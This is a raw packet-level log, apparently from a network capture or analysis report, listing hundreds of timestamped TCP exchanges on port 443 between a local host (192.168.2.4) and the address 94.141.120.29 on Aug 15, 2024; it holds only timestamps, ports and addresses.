Aug 15, 2024 08:09:24.577651978 CEST	443	49742	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.729329109 CEST	49743	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.729420900 CEST	443	49743	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.729500055 CEST	49743	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.753401041 CEST	49743	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.753436089 CEST	443	49743	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.753483057 CEST	443	49743	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.201926947 CEST	49744	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.201987982 CEST	443	49744	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.202080011 CEST	49744	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.217900991 CEST	49744	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.217922926 CEST	443	49744	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.217972994 CEST	443	49744	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.335460901 CEST	49745	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.335494041 CEST	443	49745	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.335580111 CEST	49745	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.344352961 CEST	49745	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.344371080 CEST	443	49745	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.344408989 CEST	443	49745	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.459323883 CEST	49746	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.459350109 CEST	443	49746	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.459450006 CEST	49746	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.467847109 CEST	49746	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.467855930 CEST	443	49746	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.467885017 CEST	443	49746	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.586757898 CEST	49747	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.586821079 CEST	443	49747	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.586918116 CEST	49747	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.597379923 CEST	49747	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.597398996 CEST	443	49747	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.597457886 CEST	443	49747	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.710856915 CEST	49748	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.710886002 CEST	443	49748	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.710975885 CEST	49748	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.725658894 CEST	49748	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.725665092 CEST	443	49748	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.725707054 CEST	443	49748	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.834270954 CEST	49749	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.834299088 CEST	443	49749	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.834372044 CEST	49749	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.842849016 CEST	49749	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.842869997 CEST	443	49749	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.842895985 CEST	443	49749	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.962579012 CEST	49750	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.962616920 CEST	443	49750	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.962701082 CEST	49750	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.972886086 CEST	49750	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:29.972898960 CEST	443	49750	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:29.972935915 CEST	443	49750	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:30.088341951 CEST	49751	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:30.088368893 CEST	443	49751	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:30.088726044 CEST	49751	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:30.105192900 CEST	49751	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:30.105201006 CEST	443	49751	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:30.105238914 CEST	443	49751	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:34.666959047 CEST	49752	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:34.666999102 CEST	443	49752	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:34.667099953 CEST	49752	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:34.676758051 CEST	49752	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:34.676769972 CEST	443	49752	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:34.676817894 CEST	443	49752	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:34.788933992 CEST	49753	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:34.788980961 CEST	443	49753	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:34.789098978 CEST	49753	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:34.798687935 CEST	49753	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:34.798706055 CEST	443	49753	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:34.798748016 CEST	443	49753	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:34.913938999 CEST	49754	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:34.913955927 CEST	443	49754	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:34.914021015 CEST	49754	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:34.923976898 CEST	49754	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:34.923990965 CEST	443	49754	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:34.924019098 CEST	443	49754	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:35.041631937 CEST	49755	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:35.041656017 CEST	443	49755	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:35.041717052 CEST	49755	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:35.062719107 CEST	49755	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:35.062728882 CEST	443	49755	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:35.062773943 CEST	443	49755	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:35.181819916 CEST	49756	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:35.181857109 CEST	443	49756	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:35.181927919 CEST	49756	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:35.192931890 CEST	49756	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:35.192953110 CEST	443	49756	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:35.192980051 CEST	443	49756	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:35.303854942 CEST	49757	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:35.303884029 CEST	443	49757	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:35.303940058 CEST	49757	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:35.313947916 CEST	49757	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:35.313956022 CEST	443	49757	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:35.313993931 CEST	443	49757	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:35.430169106 CEST	49758	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:35.430205107 CEST	443	49758	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:35.430284023 CEST	49758	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:35.439817905 CEST	49758	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:35.439826965 CEST	443	49758	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:35.439865112 CEST	443	49758	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:39.198410988 CEST	49759	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:39.198498011 CEST	443	49759	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:39.198630095 CEST	49759	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:39.217300892 CEST	49759	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:39.217345953 CEST	443	49759	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:39.217410088 CEST	443	49759	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.031333923 CEST	49760	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.031420946 CEST	443	49760	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.031532049 CEST	49760	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.040374041 CEST	49760	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.040467978 CEST	443	49760	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.040541887 CEST	443	49760	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.148474932 CEST	49761	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.148575068 CEST	443	49761	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.148713112 CEST	49761	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.158279896 CEST	49761	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.158353090 CEST	443	49761	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.158399105 CEST	443	49761	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.273889065 CEST	49762	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.273969889 CEST	443	49762	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.274055958 CEST	49762	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.285267115 CEST	49762	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.285305023 CEST	443	49762	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.285362959 CEST	443	49762	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.403009892 CEST	49763	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.403089046 CEST	443	49763	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.403182030 CEST	49763	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.418673992 CEST	49763	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.418754101 CEST	443	49763	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.418802023 CEST	443	49763	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.538774967 CEST	49764	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.538858891 CEST	443	49764	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.538994074 CEST	49764	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.548005104 CEST	49764	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.548110962 CEST	443	49764	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.548152924 CEST	443	49764	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.664103985 CEST	49765	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.664201975 CEST	443	49765	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.664339066 CEST	49765	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.673077106 CEST	49765	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.673157930 CEST	443	49765	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.673199892 CEST	443	49765	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.788969040 CEST	49766	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.789064884 CEST	443	49766	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.789382935 CEST	49766	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.797583103 CEST	49766	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.797656059 CEST	443	49766	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.797724009 CEST	443	49766	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.914007902 CEST	49767	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.914089918 CEST	443	49767	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.914206028 CEST	49767	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.924165010 CEST	49767	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:44.924200058 CEST	443	49767	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:44.924246073 CEST	443	49767	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:45.054811954 CEST	49768	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:45.054898024 CEST	443	49768	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:45.055114985 CEST	49768	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:45.064289093 CEST	49768	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:45.064368010 CEST	443	49768	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:45.064423084 CEST	443	49768	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:45.179858923 CEST	49769	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:45.179936886 CEST	443	49769	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:45.180044889 CEST	49769	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:45.189599037 CEST	49769	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:45.189666986 CEST	443	49769	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:45.189706087 CEST	443	49769	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:45.305248022 CEST	49770	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:45.305326939 CEST	443	49770	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:45.305414915 CEST	49770	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:45.314672947 CEST	49770	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:45.314744949 CEST	443	49770	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:45.314805031 CEST	443	49770	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:45.430738926 CEST	49771	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:45.430818081 CEST	443	49771	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:45.430947065 CEST	49771	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:45.440841913 CEST	49771	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:45.440913916 CEST	443	49771	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:45.440960884 CEST	443	49771	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:49.226588011 CEST	49772	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:49.226682901 CEST	443	49772	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:49.226769924 CEST	49772	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:49.235814095 CEST	49772	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:49.235853910 CEST	443	49772	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:49.235913992 CEST	443	49772	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:52.839273930 CEST	49773	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:52.839360952 CEST	443	49773	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:52.839658022 CEST	49773	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:52.848715067 CEST	49773	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:52.848788977 CEST	443	49773	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:52.848854065 CEST	443	49773	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.462883949 CEST	49775	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.462975025 CEST	443	49775	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.463077068 CEST	49775	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.474741936 CEST	49775	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.474824905 CEST	443	49775	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.474879026 CEST	443	49775	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.585973978 CEST	49776	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.586055040 CEST	443	49776	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.586134911 CEST	49776	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.596168995 CEST	49776	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.596252918 CEST	443	49776	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.596297026 CEST	443	49776	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.710144043 CEST	49777	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.710256100 CEST	443	49777	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.710376978 CEST	49777	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.718394041 CEST	49777	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.718468904 CEST	443	49777	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.718508005 CEST	443	49777	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.821234941 CEST	49778	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.821314096 CEST	443	49778	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.821429014 CEST	49778	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.833666086 CEST	49778	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.833750963 CEST	443	49778	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.833796024 CEST	443	49778	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.946677923 CEST	49779	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.946758986 CEST	443	49779	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.946846008 CEST	49779	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.981153011 CEST	49779	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:56.981224060 CEST	443	49779	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:56.981271982 CEST	443	49779	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:57.120377064 CEST	49780	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:57.120460987 CEST	443	49780	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:57.120544910 CEST	49780	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:57.152966976 CEST	49780	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:57.153040886 CEST	443	49780	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:57.153093100 CEST	443	49780	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:57.257885933 CEST	49781	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:57.257963896 CEST	443	49781	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:57.258055925 CEST	49781	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:57.271330118 CEST	49781	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:57.271365881 CEST	443	49781	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:57.271410942 CEST	443	49781	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:01.743613005 CEST	49782	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:01.743700027 CEST	443	49782	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:01.743808031 CEST	49782	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:01.753426075 CEST	49782	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:01.753462076 CEST	443	49782	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:01.753520012 CEST	443	49782	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:01.850881100 CEST	49783	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:01.850960016 CEST	443	49783	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:01.851068020 CEST	49783	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:01.859121084 CEST	49783	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:01.859195948 CEST	443	49783	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:01.859236002 CEST	443	49783	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:01.946147919 CEST	49784	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:01.946239948 CEST	443	49784	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:01.946342945 CEST	49784	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:01.956012964 CEST	49784	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:01.956048012 CEST	443	49784	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:01.956080914 CEST	443	49784	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.056608915 CEST	49785	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.056689978 CEST	443	49785	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.056957006 CEST	49785	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.065439939 CEST	49785	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.065517902 CEST	443	49785	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.065563917 CEST	443	49785	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.162911892 CEST	49786	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.162991047 CEST	443	49786	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.163259983 CEST	49786	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.171672106 CEST	49786	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.171741009 CEST	443	49786	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.171778917 CEST	443	49786	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.256849051 CEST	49787	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.256928921 CEST	443	49787	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.257041931 CEST	49787	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.266043901 CEST	49787	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.266123056 CEST	443	49787	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.266175985 CEST	443	49787	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.353298903 CEST	49788	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.353377104 CEST	443	49788	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.353463888 CEST	49788	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.363142014 CEST	49788	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.363178015 CEST	443	49788	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.363212109 CEST	443	49788	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.461911917 CEST	49789	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.461988926 CEST	443	49789	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.462116003 CEST	49789	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.471154928 CEST	49789	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.471189976 CEST	443	49789	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.471239090 CEST	443	49789	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.556674957 CEST	49790	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.556777954 CEST	443	49790	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.556873083 CEST	49790	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.566240072 CEST	49790	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:02.566374063 CEST	443	49790	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:02.566431999 CEST	443	49790	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:05.103080034 CEST	49791	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:05.103168964 CEST	443	49791	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:05.103461981 CEST	49791	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:05.115181923 CEST	49791	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:05.115263939 CEST	443	49791	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:05.115326881 CEST	443	49791	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.446223021 CEST	49792	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.446286917 CEST	443	49792	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.446360111 CEST	49792	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.455005884 CEST	49792	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.455029964 CEST	443	49792	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.455091000 CEST	443	49792	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.522742987 CEST	49793	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.522785902 CEST	443	49793	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.522859097 CEST	49793	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.530416965 CEST	49793	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.530430079 CEST	443	49793	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.530457020 CEST	443	49793	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.599868059 CEST	49794	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.599879980 CEST	443	49794	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.599956989 CEST	49794	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.610681057 CEST	49794	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.610692024 CEST	443	49794	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.610733032 CEST	443	49794	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.677860022 CEST	49795	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.677902937 CEST	443	49795	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.677974939 CEST	49795	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.685750008 CEST	49795	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.685772896 CEST	443	49795	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.685791969 CEST	443	49795	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.756036997 CEST	49796	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.756052971 CEST	443	49796	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.756136894 CEST	49796	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.763698101 CEST	49796	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.763709068 CEST	443	49796	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.763727903 CEST	443	49796	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.839070082 CEST	49797	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.839112997 CEST	443	49797	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.839186907 CEST	49797	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.854080915 CEST	49797	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.854095936 CEST	443	49797	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.854127884 CEST	443	49797	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.928929090 CEST	49798	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.928941965 CEST	443	49798	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.929012060 CEST	49798	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.938962936 CEST	49798	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:07.938975096 CEST	443	49798	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:07.939001083 CEST	443	49798	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:08.006433964 CEST	49799	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:08.006458044 CEST	443	49799	94.141.120.29	192.168.2.4
